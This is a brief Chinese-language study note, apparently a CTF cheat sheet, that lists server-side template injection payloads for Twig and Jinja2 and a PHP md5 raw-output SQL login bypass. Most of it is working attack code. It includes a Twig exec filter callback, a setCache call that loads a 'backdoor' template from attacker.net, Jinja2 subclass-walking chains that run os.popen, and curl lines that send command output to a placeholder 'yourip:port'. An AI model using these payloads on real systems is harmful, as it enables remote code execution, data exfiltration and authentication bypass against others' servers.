- 沙箱(网络编程虚拟执行环境)
沙箱是一个限制应用程序对系统资源的访问的运行环境。在其内部运行的程序并不能对硬盘产生永久性的影响。其为一个独立的虚拟环境,可以用来测试不受信任的应用程序或上网行为。
- ssti模板注入
同一个可执行的 payload 会在不同引擎中返回不同的结果,如{{7*‘7’}}会在 Jinja2 中返回7777777,而在 Twig 中则是49
Twig引擎payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
当allow_url_include开启时,包含远程文件利用
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
其他
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
或者
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}
{% endif %}{% endfor %}
或
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://yourip:port -d `command`') %}1{% endif %}
OR
{% if [].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://yourip:port -d `command`') %}1{% endif %}
class 返回类型所属的对象
bases 返回该对象所继承的基类
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
__builtins__是做为默认初始模块
- PHP md5(string,raw)
raw:可选,默认FALSE-32字符十六进制数;TRUE-原始16字符二进制格式
select * from ‘admin’ where password=md5($pass,true)
md5(“ffifdyop”,true)返回字符串前几位为’or’6
拼接后select * from ‘admin’ where password=’‘or’6**’
等价于or一个永真式,实现绕过
多少记下来点,想必还是有些用处